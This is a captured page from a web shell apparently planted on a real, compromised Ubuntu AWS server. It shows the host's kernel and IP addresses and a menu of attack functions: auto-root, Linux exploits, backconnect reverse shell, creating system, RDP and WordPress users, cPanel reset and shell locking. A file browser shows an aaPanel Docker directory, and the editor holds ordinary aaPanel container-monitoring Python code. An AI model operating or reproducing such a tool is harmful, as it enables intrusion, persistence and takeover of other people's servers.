Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.144.95.186
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
btdockerModelV2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
dockerSock
[ DIR ]
drwxr-xr-x
script
[ DIR ]
drwxr-xr-x
appModel.py
2.68
KB
-rw-r--r--
backupModel.py
7.32
KB
-rw-r--r--
composeModel.py
44.81
KB
-rw-r--r--
containerModel.py
84.01
KB
-rw-r--r--
dk_public.py
7.83
KB
-rw-r--r--
dkgroupModel.py
11.07
KB
-rw-r--r--
dockerBase.py
4.47
KB
-rw-r--r--
host.py
2.06
KB
-rw-r--r--
imageModel.py
35.43
KB
-rw-r--r--
monitorModel.py
3.92
KB
-rw-r--r--
networkModel.py
12.1
KB
-rw-r--r--
projectModel.py
22.59
KB
-rw-r--r--
proxyModel.py
13.71
KB
-rw-r--r--
registryModel.py
14.26
KB
-rw-r--r--
screen.py
2.86
KB
-rw-r--r--
securityModel.py
69.8
KB
-rw-r--r--
setupModel.py
32.98
KB
-rw-r--r--
statusModel.py
9.64
KB
-rw-r--r--
volumeModel.py
6.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : monitorModel.py
# coding: utf-8 # ------------------------------------------------------------------- # aaPanel # ------------------------------------------------------------------- # Copyright (c) 2015-2099 aaPanel(www.aapanel.com) All rights reserved. # ------------------------------------------------------------------- # Author: zouhw <zhw@aapanel.com> # ------------------------------------------------------------------- # ------------------------------ # Docker模型 # ------------------------------ import sys import threading import time sys.path.insert(0, "/www/server/panel/class_v2/") sys.path.insert(1, "/www/server/panel/") import public from btdockerModelV2 import dk_public as dp from btdockerModelV2 import containerModel as dc from btdockerModelV2 import statusModel as ds from btdockerModelV2 import imageModel as di from public.validate import Param class main: __save_date = None __day_sec = 86400 def __init__(self, save_date): if not save_date: self.__save_date = 30 else: self.__save_date = save_date def docker_client(self, url): return dp.docker_client(url) def get_all_host_stats(self, fun): """ 获取所有主机信息并获取该主机下的容器状态 :param fun: 需要调用的方法,用于获取并记录容器状态 :return: """ hosts = dp.sql('hosts').select() for i in hosts: t = threading.Thread(target=fun, args=(i,)) t.setDaemon(True) t.start() # 获取所有docker容器的状态信息 def container_status_for_all_hosts(self): """ 获取所有服务器的容器数量 :return: """ # while True: args = public.to_dict_obj({}) container_list = dc.main().get_list(args)['message'] for c in container_list['container_list']: args.id = c['id'] args.write = 1 args.save_date = self.__save_date ds.main().stats(args) # time.sleep(60) # 获取所有服务器的容器数量 def container_count(self): # while True: hosts = dp.sql('hosts').select() n = 0 for i in hosts: args = public.to_dict_obj({}) args.url = i['url'] container_list = dc.main().get_list(args)['message'] n += len(container_list) pdata = { "time": int(time.time()), "container_count": n } expired = time.time() - (self.__save_date * self.__day_sec) dp.sql("container_count").where("time<?", (expired,)).delete() dp.sql("container_count").insert(pdata) # time.sleep(60) def image_for_all_host(self): # while True: hosts = dp.sql('hosts').select() num = 0 size = 0 for i in hosts: args = public.to_dict_obj({}) args.url = i['url'] res = di.main().image_for_host(args)['message'] num += res['num'] size += res['size'] pdata = { "time": int(time.time()), "num": num, "size": int(size) } expired = time.time() - (self.__save_date * self.__day_sec) dp.sql("image_infos").where("time<?", (expired,)).delete() dp.sql("image_infos").insert(pdata) # time.sleep(60) def monitor(): # 获取所有容器信息 while True: save_date = dp.docker_conf()['SAVE'] m = main(save_date) m.get_all_host_stats(m.container_status_for_all_hosts) # 开始获取容器总数 t = threading.Thread(target=m.container_count) t.setDaemon(True) t.start() # 获取镜像详情 t = threading.Thread(target=m.image_for_all_host) t.setDaemon(True) t.start() time.sleep(60) # condition=threading.Condition() # condition.acquire() # condition.wait() if __name__ == "__main__": monitor()
Close